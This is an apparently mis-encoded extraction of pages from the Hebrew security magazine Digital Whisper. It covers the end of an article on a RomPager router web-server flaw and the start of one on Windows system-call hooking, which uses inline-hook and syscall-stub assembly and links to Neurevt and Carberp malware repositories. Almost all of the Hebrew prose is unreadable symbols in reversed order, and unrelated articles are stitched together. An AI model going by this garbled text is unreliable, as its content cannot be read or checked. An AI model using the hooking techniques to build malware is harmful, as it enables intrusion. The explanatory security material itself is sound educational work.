 "˸˧˪˧˪˷" ˢ˧ˠˣ˰ ˸˯ˮ˩ˢ ,˱˯ˣˮ˟ .˸ˣ˧ˠˣ˰ˢ ˨˶˰ˬ ˧˶˥˞ ˞˴ˬˮ˷ ˭ˣ˶˩ˤˢ ˪˩˪ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣˤ ˢ˶ˣ˴˟

ˡ˪)" ˞ˬˠˣC-300 ˢ˷˪ˣ˥ˢ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˨˶˰ˬˢ ˧ˮ˲˪ ˫˧˞˴ˬˮ˷ ˭ˣ˶˩ˤˢ ˧˶ˣˤ˞˟ ˫ˠ ˟ˣ˸˩˪ ˣˮ˪ ˶˷˲˞˸ ("

.˶˦ˣ˞˶ˢ ˪˷ ˭ˣ˶˩ˤˢ ˪˩˪ ˢ˟˧˸˩ ˸˶˷˲˞ˬ 

 ˫ˣ˵˧ˬ˪ ˸˧˯˥˧ ˞˧ˢ ˢ˟˧˸˩ˢ˷ ˞ˣˢ ˪˧˰˪ ˣ˶˩ˤˣˢ˷ ˸ˣ˷˪ˣ˥ˢ ˧ˮ˲ ˪˰ ˣˤˢ ˢ˷˪ˣ˥ˢ ˪˷ ˧˸ˣ˰ˬ˷ˬˢ ˭ˣ˶˸˧ˢ

˧˶˟ˠ˸ˬ ˣˮ˥ˮ˞ ,ˢˮ˟ˣˬ ˭˲ˣ˞˟˷ ˨˩ ,˸ˣ˧ˠˣ˰ˢ ˨˶˰ˬ ˪˷˧˰˟ ˪˰ ˫˧ ˫˧˪ˡˣˬ ˟˶˵˟ ˫˧ˮˣ˷ˢ ˭ˣ˶˩ˤˢ ˧ˮ˟ˬ ˸

˫˧ˮˣ˷˸ˬˡˣ˵ˢ ˢ˷˪ˣ˥ˢ ˸˷ˬ˷ˢ ˭ˣ˧˯˧ˮ ˸˰˟ ˢ˟ ˣˮ˪˵˸ˮ˷ , ˨ˣ˸˟ ˶˥˞ ˢˡ˷ ˯ˣ˶ˡ˪ ˢ˯ˮˮ ˫˞ ,˶ˬˣ˪˩ .

 ˪˷ ˢ˷˵˟ˢ ˢˮ˟ˬRomPager ˣ˸ˣ˞˟ ˷ˬ˸˷ˮ ,"index "ˢ˧˧ˠˣ˰ ˫˧˴˧˶ˬ˷ ˫˧˶˦ˣ˞˶ˢ ˧ˬˠˡ ˪˩ ˶ˣ˟˰ ˵ˣ˧ˡ˟ 

˸˞ RomPager 4.07. 

˸˶˷˲˞ˬ ˣˤ˩ ˢ˟˧˸˩ ˸˪ˣ˩˧ ˢˬ ˪˷ ˭ˣ˶˩ˤˢ ˧ˮ˟ˬ ˪˷ ˱˯ˣˮ ˶˵˥ˬ ,˭˩˟ˣ ?RomPager ˢ˷˵˟ ˶ˣ˴˧˪ ˧˪ ˶˷˲˞ ,

˶˷˲˞ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟˷ ,˫˧ˬ˧˧ˣ˯ˬ ˫˧˩˶˰ ˢˮ˟˸˩˷˸ ˶˷˞ ˸ˣ˧ˠˣ˰ ˸˪˪ˣ˩ˢ s˪ ˯ˮ˩ˢ˪ ˧˪-admin panel  ˪˷

 ˪˪ˣ˩) ˥ˣ˸˲˷ ˦˶ˣ˲ ˪˩ˬ ˸˶˷ˢ7547 ˫˰ ˣˮ˩ˡˣ˰ ˞˪ ˭˧˧ˡ˰ ˫˧˰˧ˠ˲ˢ ˫˧˶˦ˣ˞˶ˢ ˟˶ ,ˢˤ ˟˪˷˟˷ ˭ˣˣ˧˩ˬ .(

˶ˠˣ˯ ˶˷˞ ˢ˥˷ˣ˵.ˢ˷˪ˣ˥ˢ ˪˷ ˪ˣ˴˧ˮˢ ˧˦˶˲ ˸˞ ˱ˣ˷˥˪ ˞˪˷ ˣˮ˦˪˥ˢ ,ˢ˴˶˲ˢ ˸˞ ˸ 

 

˫ˣ˩˧˯ 

 ˪˷ ˞˯˶ˠ ˢ˸ˣ˞˟ ˫˧˷ˬ˸˷ˬ ˫˧ˬˠˡ ˢ˟˶ˢ ˨˩ ˪˩ ˰ˣˡˬ ,˶˵˥ˬˢ ˸ˣ˪˞˷ˬ ˸˥˞˪ ˶ˣˤ˥ˮRomPager? 

˟ ˫˧˷ˬ˸˷ˬ ˣ˪˪ˢ ˫˧ˬˠˡˢ ˪˩ .ˢ˶ˬˣ˥˟ ˢˮˣˬ˦ ˨˩˪ ˢ˟ˣ˷˸ˢ ˧˩ ˶˟˸˯ˬ-chipset-˫˧  ˢ˶˟˥ˢ ˢ˸ˣ˞ ˪˷- 

Trendchip  ˫ˣ˧˩)MediaTek .(Trendchip ˬ ˢ˸ˮ˵-Allegro ˪ ˭ˣ˧˷˶-RomPager ˟-2002˪ ˭ˣ˧˷˶ˣ ,-ZynOS 

-ˬZyxel˟ ˫˸ˣ˞ ˢ˟˪˧˷ˣ ,-SDK ˪ ˱˶ˣ˴ ˶˷˞-chipset ˸˞ ˸˴˵ˬ˟ ˢ˸ˮ˧˷ ˸˧ˮ˶˴˧ ˪˩˷ ˸ˣ˶ˬ˪˷ ˨˩ .

 ˸˩˶˰ˬ ˢ˸ˣ˞˟ ˣ˷ˬ˸˷ˢ ˫˧˶˦ˣ˞˶ˢ ˪˩ ˰ˣˮˬˢ ˢ˯˩ˬ˪ ˸˥˸ˬ ,˫˧˧˦ˬ˯ˣ˵ ˫˧˩˶˴˪ ˶˵˧˰˟ ,ˢ˥˷ˣ˵ˢ

.ˢ˪˰˲ˢ 

 

˪ˣ˥ˢ ˫ˮˬ˞ ˧˩ ˭˧˧˴˪ ˟ˣ˷˥˟ ˢ˞˴ˬˮ ˢ˷-RomPager ˨˞ ,AllegroSoft  ˢ˷˪ˣ˥ˢ .ˢˤ ˟˴ˬ˟ ˢˬ˷˞ˢ ˢˮ˧˞

˟ ˶˟˩ ˢˮ˵ˣ˸ ˢˬ˴˰-2005  ˢ˯˶ˠˬ ˪˥ˢ)4.34 ˪˷ ˸ˣ˩˪˷ˢˢ ˪˰ ˢ˰˧ˡ˧ ˞˪˟ ,ˡˣ˵ˢ ˸˪˧˟˥ ˠˣ˶ˡ˷ˬ ˵˪˥˩ (

 ˢ˩ˣ˟˯ˣ ˢ˩ˣ˶˞ ˸˶˷˶˷ ˣˮ˧ˢ ˫ˣ˧˩ ˫˧˶˩ˬˮˢ ˫˧˶˦ˣ˞˶˪ ˭ˣ˩ˡ˰ˢ ˰ˣ˲˰˲ ˸˞ ˰ˮˬ ˶˷˞ ˶˟ˡˢ .ˣˤ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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ˢ ˶ˣ˴˧˧˟ ˢ˩ˣ˶˩ˢˢ ˸˧ˮ˶˴˧˟ ˢ˪˧˥˸ˬ ˶˷˞ ˫˧˶˦ˣ˞˶-chipset-,˫˧ ) ˫˧˶˦ˣ˞˶ˢ ˸˧ˮ˶˴˧ ˨˶ˡ ˸˶˟ˣ˰TP-Link ,

Dlink  ˭ˣˣ˧˩ˬ .˭ˢ˧˸ˣ˥ˣ˵˪˪ ˶˦ˣ˞˶ˢ ˸˞ ˸ˣ˶˩ˣˬ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˶˷˞ ˦ˮ˶˦ˮ˧˞ˢ ˸ˣ˧˵˲˯˟ ˸˶ˬˠˮˣ ,(˭ˢ˧ˬˣˡˣ

 ˣˤˢ ˸˶˷˶˷ˢ ˪˩˷ˢ˩ˣ˶˩ ˣ ,ˣˠ˲ ˶˟˩ ˫˵˪˥˷ ˫˧ˬ˩˯ˢ˟˸ˬ˧˧˵ ˞˪ ˧˟ ˧˲ˣ˯ˢ ˶˴ˣˬˢ ˪˰ ˸˧ˤˣ˩˧˶ ˸ˣ˧˶˥˞ ˧ˡ

˫ˣ˧˩ ˫˧˶˴ˣ˧ˬˢ ˫˧˶˧˷˩ˬˢ ˪˩ ˭˧˧ˡ˰ ,ˢ˷˪ˣ˥ˢ ˢˮ˵ˣ˸˷ ˶˥˞˪ ˶ˣ˷˰ ˫ˠ ˧˩ ˞˧˪˲ˬ ˢˤ ˭˧˞ ,ˡ˥˞ ˫˶ˣˠ  ˭˲ˣ˞˟

ˢˤ  .˫˧˰˧ˠ˲ ˫ˡˣ˰ 

 ,˟˷˥ˬ˪ ˢ˷˧ˠ ˸ˣ˶˷˲˞ˬˢ ˸ˣ˴˶˧˲ ˣˬ˩ ˸ˣˮ˩ˣ˯ˬ ˭ˮ˧˞ ˫˧˧˸˧˟ ˫˧˶˦ˣ˞˶˟ ˢ˥˦˟˞ ˸ˣ˴˶˲˷ ˢˬˡˮ ˫˞ ˫ˠ

˪ ˸˪ˣ˩˧˟ ˧˩ ˣ˥˧˩ˣˢ ˫˧˶˦ˣ˞˶ ˧˲˪˞ ˸ˣ˞ˬ ˣ˲˵˸˷ ˫˧˟˧˯˞ˬ ˫˧ˮ˧˧˲ˬ˵ ˥ˣ˩ ˭ˣˬ˦ ˫˧˶˦ˣ˞˶ ˪˷ ˧˴˟ ˦ˣ˪˷

 ˸ˣ˲˧˵˸ :˫ˣ˴˰DDOSˢ ˪˷ ˢ˥˦˟˞ˢ ˪ˡˣˬ ˸˶˧˟˷ ,-NAT ˢ ˨ˣ˸˟ ˫˧˟˷˥ˬ˪ ˸ˣ˦˷˲˸ˢˣ-LAN˭ˣˣ˧˩ˬ . 

 ˫˪˰˸ ˞˪ ˣˤˢ ˢ˷˪ˣ˥ˢ ,ˢ˧ˢ˧˷ ˫˧˴ˣ˶ ˣˮ˧˧ˢ˷ ˧˲˩ ˢ˥˦˟˞ ˭ˣˣ˩ˣˬ ˣˮˮ˧˞ ˭˧˧ˡ˰ ˫˧˧˸˧˟ˢ ˫˧˶˦ˣ˞˶ˢ ˫˪ˣ˰˷

˥˪ ˪˧˰˲˧ ˸ˣ˶˥˞ˣ ˣˤ ˢ˷˪ˣ˥ ˫ˣ˯˶˲˷ ˞˧ˢ ˢˣˣ˵˸ˢ .˟ˣ˶˵ˢ ˭ˬˤ˟ ˶ˣ˟˰˪ ˫˧˶˦ˣ˞˶ˢ ˸ˣ˧ˮ˶˴˧ˣ ˸ˣ˧˵˲˯ˢ ˪˰ ˳

˶˸ˣ˧ ˫˧˧ˮ˶ˡˣˬ ˢ˥˦˟˞ ˧˪ˡˣˬ˪ .˸ˣˮ˷ˢ˪ ˣ˪˞˩˷ ˸ˣ˰˲ˣ˸ˬ ˣ˰ˮˬ˧˷ , ˫˧˶˦ˣ˞˶ˢ ˸ˬ˧˷˶ˣ ˫˧˲˯ˣˮ ˫˧˦˶˲

 ˶˸˞˟ ˫˧˞˴ˬˮ ˫˧˰˧ˠ˲ˢˢˤˢ. 

 

ˣ ˶˟ˡ ˸˧˶˥˞\ ˢ˴˰ ˣ˞#5: 

˪˷ ˶˸ˣ˧ ˢ˷ˡ˥ ˞˯˶ˠ ˧˸˞˴ˬ ˶˵˥ˬ˟ ˣˢ˷˪˩ ˟˪˷˟ RomPager )4.34 .˯˵ˣˮ˧˪ ˸˯˯ˣ˟ˬ ˢ˥˷ˣ˵ˬ ˵˪˥˩ ,(

 ˳˟ˣ˵˩ ˸˪˲ˬˣ˵ˬ ˢ˸˧˧ˢ ˞˧ˢ˷ ˞˧ˢ ˣˤ ˞˯˶ˠ˟ ˭ˣ˶˸˧ˢelf ,˷ ˪˪˩private symbols ˳˟ˣ˵ˢ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .

 ˰ˣ˴˧˟ .˶ˣ˵ˬˢ ˡˣ˵˟ ˰˧˲ˣˢ˷ ˧˲˩ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˪ˣˡˠ ˵˪˥ ˪˷ ˸ˣˬ˷ ˪˧˩ˢbinary diffing ˞˯˶ˠˢ ˪ˣˬ ,

ˬ˧˯ˢˬ ˢ˟˶ˢ ˞˟˧˧˪ ˧˪ ˶˷˲˞ ˧˸˶˵˥˷ ˸ˣ˧˪˞ˮˣ˧˴˵ˮˣ˲ˢˬ ˭˦˵ ˞˪ ˵˪˥˷ ˫ˣ˷ˬ ,˧˪˷ ˦˵˧˧ˣ˶˲˪ ˫˧˪ˣ˟

 ˪˷ ˸˧˪˪˩ˢRomPager  ˢ˧ˢ ˣˤˢ ˞˯˶ˠˢ ˪˷ ˫ˡ˵ˣˬ ˧ˣ˪˧ˠ ,ˡ˟˰˧ˡ˟ .˸ˣ˞˯˶ˠˢ ˭˧˟ ˶˟˰ˬ˟ ˢˮ˸˷ˢ ˞˪

 ˪˷ ˸ˣ˩ˣ˟˯ ˸ˣ˧˪˞ˮˣ˧˴˵ˮˣ˲ ˥ˣˮ˰˲ ˪˷ ˭ˬˤ ˢ˟˶ˢ ˧˪ ˨˯ˣ˥RomPager. 

 

˟˸ˣ˩ˢ ˪˰ 

ˢ ˸˴ˣ˟˵˟ ˢ˥˦˟˞ ˶˵ˣ˥ ˣˮ˧ˢ ˟˸ˣ˩ˢ-Malware & Vulnerability .˦ˮ˧ˣ˲˵'˴ ˪˷  ˸ˣˠ˷ˢ ,˸ˣˮ˰˦ ,˸˪˞˷˪

 ˸ˣ˯˶ˣˢ ˣ˞ ˸ˣˮˣ˟ ˸ˣ˶ˣ˵˧˟ˣ- lioro@checkpoint.com 

 

ˡˣ˸˸ˣ 

ˢˡˣ˸  ˸˴ˣ˟˵ ˷˞˶ ,˪˦ ˶˥˷˪Malware & Vulnerability .ˢˤ ˶˵˥ˬ˟ ˱˸ˣ˷ ˢ˧ˢ˷ ,˦ˮ˧ˣ˲˵'˴˟ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://mis.fortunecook.ie/
mailto:lioro@checkpoint.com
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System Call Hooking 

˸˞ˬ ˵˥˷ ˣ˪˷ 

 

ˢˬˡ˵ˢ 

 ˪˷ ˢ˷ˡ˥ ˫ˣ˷˧˧ ˸˦˧˷˟ ˵˯ˣ˰ ˞˟ˢ ˶ˬ˞ˬˢHooking  ˫˧˯ˣ˯˟ ˢ˸˲˴ˮ˷ ˶˥˞˪ ˢ˴ˣ˞˸ ˶ˣ˟˴˪ ˢ˪˧˥˸ˬ˷

 ˫˧˧ˮ˞˧ˣ˶˦ˢNeurevt )˰ˣˡ˧ˢ ˫ˠ ˩-tabotBe x-Carberp (- ˡˣ˵ ˶ˣ˵ˬ .˭ˣˮˠˮˬ ˸˞ ˭˧˟ˮ ˶ˬ˞ˬ˟ s-System 

Call  ˪˷Windows ˢ ˸˞ ˷ˬˬˮˣ-Hook .ˣˮˬ˴˰˟ ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˫˧˞˪ˬ ˫˧˶˟˯ˢ ˫˰ ˶ˬ˞ˬ˟ ˡˣ˵ˢ ˪˩ ˸˞-

Git Repository. 

 ˣˢˬHooking? 

ˢ ˞˷ˣˮ-Hooking ˟ ˭˞˩ ˶˵˯ˮ ˶˟˩ ˣ˸ˣ˪˪˩˟-Digital Whisper ˶ˬ˞ˬ˟ ˪˷ Zerith ˭ˣ˧˪ˠˬ 10 x˶ˬ˞ˬ˟ ˪˷ 

˪˞˧˶ˣ˞ ˭˧˪ˬ ˪˰ IAT Hooking  ˭ˣ˧˪ˠ˟муˢ ˨˧˪ˢ˸ ˪˰ ˢ˶˴˵˟ ˶ˣ˟˰ˮ ˣˮ˥ˮ˞ ,-Hooking  ˡ˞ˬ ˳˪ˬˣˬ ˨˞

.˞˷ˣˮˢ ˧˟ˠ˪ ˢ˟ˣ˦ ˢ˯˧˲˸ ˪˟˵˪ ˪˧˟˷˟ ˫˧˶ˬ˞ˬˢ ˧ˮ˷ ˸˞ ˞ˣ˶˵˪ 

ˢ ˸˦˧˷˟ ˡ˵ˬ˸ˮˣ ˞˷ˣˮˢ ˪˰ ˢ˲˧˦ ˳ˣ˶ˮ ˣˮ˥ˮ˞-Inline Hooking ˪˴ˮˬ˷ˢ ˸ˣ˧˴˵ˮˣ˲ ˟ˣ˶˟˷ ˢˡ˟ˣ˰ˢ ˸˞ ˸-

Windows API ) "˥˧˸˲" ˢ˪˧˥˸ ˷˧Function Prologue ˪˰ ˸ˣ˷˶˲ˮˢ ˧˪˟ˬ˯˞ ˸ˣ˞˶ˣˢ ˷ˣ˪˷ˬ ˟˩˶ˣˬˢ (5 

:˫˧˦˧˧˟ 

8B FF:     MOV EDI,  EDI 

55:        PUSH ESP 

8B EC:     MOV EBP,  ESP 

˟ ˭ˣ˶˵˰ˢ ,ˢ˶˴˵˟-Inline Hooking ˧˲˵˟ ˣ˪˪ˢ ˫˧˦˧˧˟ˢ ˸˷ˬ˥ ˸˞ ˯ˣ˶ˡ˪ ˞ˣˢ ˣˮ˶ˡ˥ˢ˷ "˧ˮˣˡˤ" ˡˣ˵˪ ˢ˴

 ˢ˴˧˲˵ ˸˞˶ˣˢ) ˨˧˪ˢ˸˪JMP  ˞˧ˢ ˫ˠ ˸˯˲ˣ˸ ˧˪˟ˬ˯˞˟5  ˢ˧˴˵ˮˣ˲˪ ˣ˞˶˵˧˷ ˫˰˲ ˪˩˟ ,˸˰˩ .(˫˧˦˧˧˟

.˧˸˧ˬ˞ˢ ˡˣ˵ˢ ˧ˮ˲˪ ˳ˣ˶˧ ˣˮ˪˷ ˡˣ˵ˢ ˣˮ˩˶˰ ˢ˸ˣ˞ 

 

] ˦˧ˡ˶˵-newgre.net[ 

 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/Neurevt.1.7.0.1
https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/Win32.Carberp
https://github.com/ytisf/theZoo/tree/master/malwares/Source/Original/Carberp
https://github.com/Sheksa/SystemCallHook
https://github.com/Sheksa/SystemCallHook
http://www.digitalwhisper.co.il/files/Zines/0x0A/DW10-4-ULHooking.pdf
http://digitalwhisper.co.il/files/Zines/0x12/DW18-3-IAT_Hooking.pdf
http://digitalwhisper.co.il/files/Zines/0x12/DW18-3-IAT_Hooking.pdf
http://newgre.net/node/5
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ˬ ˪˩ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˣˮ˲˯ˣˢ ˣˮ˥ˮ˞˷ ˷ˡ˥ˢ ˡˣ˵ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˪ˣ˰˲ ˪˷ ˭˦˵ ˧ˣˮ˧˷ ˢˤ ˫˞ ˭˧˟ ,˶˥˟ˮ˷ ˢ

 ˣˮ˪˷ ˡˣ˵ˢ ˸˴˧˶ ˫ˣ˧˯ ˶˥˞˪˷ ˠˣ˞ˡ˪ ˣˮ˧˪˰˷ ˞ˣˢ ˟ˣ˷˥ ˭ˣ˶˵˧˰ .˧˶ˬˠ˪ ˢ˧˴˵ˮˣ˲ˢ ˪ˣ˦˧˟ ˣ˞ ˸˧˶ˣ˵ˬˢ

 ˫˧˶ˠˣ˞˷ˣ ˢ˸ˣˬˡ˵˪ ˶ˣˤ˥˸ ˸˧ˮ˯˥ˬˢ˷ ˠˣ˞ˡ˪ ˨˶˦˴ˮ˷ ˸˶ˬˣ˞ ˸˞ˤ ,˪˧ˠ˶˩ ˪ˣ˰˲˪ ˨˧˷ˬ˸ ˸˧ˮ˩ˣ˸ˢ

 ˫˧˩˶˰ˢ ˸˞ ˣ˪˧˩˧ ˢ˴˧˶ˢ ˨˷ˬˢ ˪˰ ˫˧˰˧˲˷ˬˢ.˫˧ˬ˧˞˸ˬˢ ˫ˡ˵˸ˮ ˣˮ˧˶ˣ˥˞ˬ ˢˤ˷ ˧˶˥˞ ˣ˧˷˩˰ ,ˢ˪ˣ˰ˬ: 

 ˪˰ ˸˩˶˰ˬ˟ ˸ˣ˞˷˶ˢWindows: 

 ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧˦˧˶˵ ˰ˡ˧ˬ ˸ˣˮ˷˪ ˣ˪˩ˣ˧ ˞˪ ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˧˴˵˧˪˲˞˷ ˥˧˦˟ˢ˪ ˪˧˟˷˟Windows 

 :ˡ˟˰ˬˢ ˪˷ ˢ˴˧˶ ˧˟˴ˬ ˧ˮ˷˟ ˷ˬ˸˷ˬUser Mode x-Kernel Mode ˣ˞ ,Ring3 x-Ring0  ˸ˣˮ˩ˣ˸ .ˢˬ˞˸ˢ˟

˷ˬ˸˷ˬˢ ˪˷ ˟ ˸ˣ˴˶-User Mode ˟ ˣ˴ˣ˶˧ (˞ˬˠˣˡ˪ ˫˧˶˟˧˧˶ˡ) ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˡˣ˵ˣ-Kernel Mode. 

 ˡ˟˰ˬˢ ˸ˣ˞˶ˣˢ ˧ˠˣ˯ ˪˩˪ˣ ˸˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ ˪˩˪ ˢ˷˧ˠ ˶˷˲˞ˬ (ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˞˪ˣ) ˡ˟˰ˬˢ

˟ ˢ˴˧˶ ˸˥˸-Kernel Mode. 

?˸ˣ˟˩˷ˢ ˧˸˷ ˭˧˟ ˶˷˵˸˪ ˭˸˧ˮ ˨˧˞ 

() ˢ˧˴˵ˮˣ˲˟ ˣˮ˪˷ ˢˮ˩ˣ˸˟ ˣˮ˷ˬ˸˷ˢˣ ˥˧ˮˮCreateFileA ˟ ˢ˴˶ ˣˮ˪˷ ˢˮ˩ˣ˸ˢ .˳˟ˣ˵ ˣˮ˪ ˶ˣ˴˧˸˷-User 

Mode ˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˟˶˰˸ˢ ˸˷˶ˣˡ ˫˧˴˟˵ ˸˶˧˴˧ ˫˞ ˳˟ˣ˵ ˶ˣ˴˧˪ ,˨˩ ˫˞ ,˪˩ˣ˸ ˞˧ˢ ˨˧˞ ,Ntfs.sys 

ˬ ˵˶ ˸˧˶˷˲˞ ˸˞ˤ˩˷ ˢ˪ˣ˰˲˷ ˣˮ˶ˬ˞ˣ-Kernel Modeˢ ˭ˣˮˠˮˬ ˞˴ˬˣˢ ˢˤ ˪˧˟˷˟ ?-System Call ˭ˣˮˠˮˬˢ ,

˵ˮˣ˲ˢ ˰ˣ˴˧˟˪ ˢ˴˧˶ˢ ˸˶˟˰ˢ˪ ˧˞˶˥˞ ˢ˴˧˶ˢ ˸˞ ˶˧ˤ˥ˢ˪ ,ˢ˧˴˵ˮˣ˲ˢ ˰ˣ˴˧˟ ˫ˣ˧˯ ˶˥˞˪ˣ ˪ˮ˶˵˪ ˢ˧˴

˟ ˣˮ˪˷ ˢˮ˩ˣ˸˪User-Mode .ˡˣ˵ˢ ˰ˣ˴˧˟ ˨˷ˬˢ˪ 

 ˸˞˶˵ˮˢ ˪ˮ˶˵˟ ˸˟˷ˣ˧ˢ ˢ˪˟˦˟ ˢ˸ˣ˞ ˠ˴˧˧ˬˢ ˶˲˯ˬ ˷˧ ˪ˮ˶˵˟ ˳ˣ˶˸ˣ ˢ˪ ˞˶˵ˮ˷ ˢ˧˧˴˵ˮˣ˲ ˪˩˪System 

Service Dispatch Table ˸˩˶˰ˬ˪ ˰˧ˡˣˮ ˨˩˟ˣ ˪ˮ˶˵˪ ˶˟˰ˬˢ ˸˞ ˰˴˟ˮ ˢˤˢ ˶˲˯ˬˢ ˫˰ , ˣˤ˧˞ ˢ˪˰˲ˢˢ

.˰˴˟˪ ˣˮˮˣ˴˶˟ ˢ˧˴˵ˮˣ˲ 

 

:ˢ˶˰ˢ  ˸ˣ˞˪˟˦ ˢ˰˟˶˞ ˷˧ ˢ˷˰ˬ˪SSDT ˟-Windows ˸ˣ˧˴˵ˮˣ˲˟ ˸˯˪˩ˣ˞ˬ ˢˮˣ˷˞˶ˢ˷˩ ,Native ,

 ˸ˣ˧˴˵ˮˣ˲˟ ˢ˧ˮ˷ˢGUI  .˸ˣ˵˧˶ ˸˧˰˧˟˶ˢˣ ˸˧˷˧˪˷ˢˣMicrosoft IIS  ˨ˣ˸ˬ ˸˧˷˧˪˷ˢ ˢ˪˟˦ˢ ˸˞ ˯˪˩˞˧

 ˶˟˧˧˶ˡˢ ˫˰ ˰˟˶˞ˢspud.sys ˦ˢ ˵˶ ˨˞ .˭˵˸ˣˬ ˶˴ˣˬˢˣ ˢ˶˵ˬ˟ ˢ˧˪˞ˣ ˣˮ˧˪˞ ˸˧˦ˮˣˣ˪˶ ˢˮˣ˷˞˶ˢ ˢ˪˟

ˢ ˸˞ ˫˧˶˧˩ˤˬ ˶˷˞˩ ˩"˶ˡ˟ ˫˧ˮˣˣ˩˸ˬ-SSDT. 

ˢ ˸˪˟˦-SSDT  ˨ˣ˸˟ ˭ˢˬ ˸˥˞ ˪˩ ˪˷ ˸˟ˣ˸˩˟ˣ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˩˟ ˢ˞˪ˬntoskrnl.exe  ˧˸˧ˬ˞ˢ ˡˣ˵ˢ ˫˷

 ˪˷ˬ˪˷ ˸˶ˬˣ˞ ˸˞ˤ ,˰˴˟˸ˬ ˫ˢ˪˷ntdll!NtCreateFile  ˡˣ˵ˢ ˢ˲ˣ˯˟˷ ˸˲˦˰ˬ ˸˧˴˵ˮˣ˲ ˵˶ ˞˧ˢ

˟ ˰˴˟˸˧ ˧˸˧ˬ˞ˢ-ntoskrnl!NtCreateFile. 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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System Calls 

) ˢ˧˴˵ˮˣ˲ ˪˩Windows API˟ ˞˪ˣ ˪ˮ˶˵˟ ˸˰˴˟˸ˬˣ ˸˞˶˵ˮ ˶˷˞ (User Mode  ˢ˧˶ˣˠ˦˵ˢ ˸˥˸ ˸˯ˮ˩ˮ

System Calls) ˫˧˦˵˧˧˟ˣ˞ ˪ˣˢ˧ˮ ˪˷ ˸ˣ˧˴˵ˮˣ˲ :˞ˬˠˣˡ˪ .NtTerminateProcess, NtCreateMutant  ('ˣ˩ˣ

˟ ˫˧˦˵˧˧˟ˣ˞ ˪ˣˢ˧ˮ˷ ˶˥˞ˬ ˪ˮ˶˵˟ ˢˮ˰˴˟˸˸-Windows ˮ ˫˰ ˸ˣ˶˷˵˸ˢ ˸ˣ˷˶ˣˡˢ ˸ˣ˧˴˵ˮˣ˲ˣ ˪ˮ˶˵˟ ˢ˷˰

 ˢ˧˴˵ˮˣ˲ˢ) ˪ˮ˶˵˟ ˣ˰˴˟˸˧ ˭˩ ˫ˠ ˫˧˶˟˧˧˶ˡNtCreateFile  ˫˰ ˶˟ˡ˸ ˞ˬˠˣˡ˪Ntfs.sys.( 

 ˡ˰Windows 2000 :˨˩ ˢ˞˶ˮ ˭ˣˮˠˮˬˢ 

1.  MOV EAX,  SyscallNumber  

2.  LEA EDX,  [ ESP+4]  

3.  INT 2Eh 

4.  RETN 4 *  ( Number of Arguments)  

1.  ˶ˠˣ˞ˢ ˨ˣ˸˪ ˯ˮ˩ˣˬEAX ˢ ˶˲˯ˬ.˰˴˟˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ 

2.  ˶ˠˣ˞ˢ ˨ˣ˸˪ ˯ˮ˩ˣˬEDX .ˢ˧˴˵ˮˣ˲˪ ˫˧˶˟˰ˣˬ˷ ˫˧˦ˮˬˣˠ˶˞˪ ˰˧˟˴ˬ 

3.  ˢ˵˧˯˲ˢ ˸˰˴˟˸ˬ2E .˪ˮ˶˵˪ ˢ˯˧ˮ˩ ˸˪ˬ˯ˬˢ 

4. .ˣˮ˪ ˢ˞˶˵˷ ˢ˧˴˵ˮˣ˲˪ ˢ˶ˤ˥ 

-˟Windows XP ,:˫ˣ˧ˢ ˡ˰ ˢ˞˶ˮ ˞ˣˢ ˨˩ˣ ˭ˣˮˠˮˬˢ ˢˮˣ˷ 

1.  MOV EAX,  SyscallNumber  

2.  MOV EDX,  7FFE0300h ;  EDX = SystemCallStub  

3.  CALL DWORD PTR [ EDX] 

4.  RETN 8 

1.  ˶ˠˣ˞ˢ ˨ˣ˸˪ ˯ˮ˩ˣˬEAX .˰˴˟˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ˢ ˶˲˯ˬ 

2.  ˶ˠˣ˞ˢ ˨ˣ˸˪ ˯ˮ˩ˣˬEDX ˰ˣ˟˵ˢ ˨˶˰ˢ ˸˞ 03000x7FFe0 ˪˞ ˰˧˟˴ˬˢ :SharedUserData!SystemCallStub 

˪ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˬˢ-KiFastSystemCall. 

3. ˪ ˢ˞˧˶˵-EDX ˪ ˢ˞˧˶˵)-ntdll!KiFastSystemCall( 

4. .ˣˮ˪ ˢ˞˶˵˷ ˢ˧˴˵ˮˣ˲˪ ˢ˶ˤ˥ 

 

˟ ˷˧ ˢˬ ˤ˞-KiFastSystemCall? 

1.  MOV EDX,  ESP 

2.  SYSTENTER 

3.  RETN 

1. ˪ ˯ˮ˩ˣˬ-EDX .ˢ˧˴˵ˮˣ˲˪ ˫˧˶˟˰ˣˬˢ ˫˧˦ˮˬˣˠ˶˞˪ ˰˧˟˴ˬ 

2. ˢ˞˶ˣˢˢˢ ˸˰˴˟˸ˬSYSENTER  .˪ˮ˶˵˪ ˶˟˰ˬˢ ˸˞ ˸˰˴˟ˬˢ 

3. .ˣˮ˪ ˢ˞˶˵˷ ˢ˧˴˵ˮˣ˲˪ ˢ˶ˤ˥ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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 ˢˤ ˧ˬSYSENTER? 

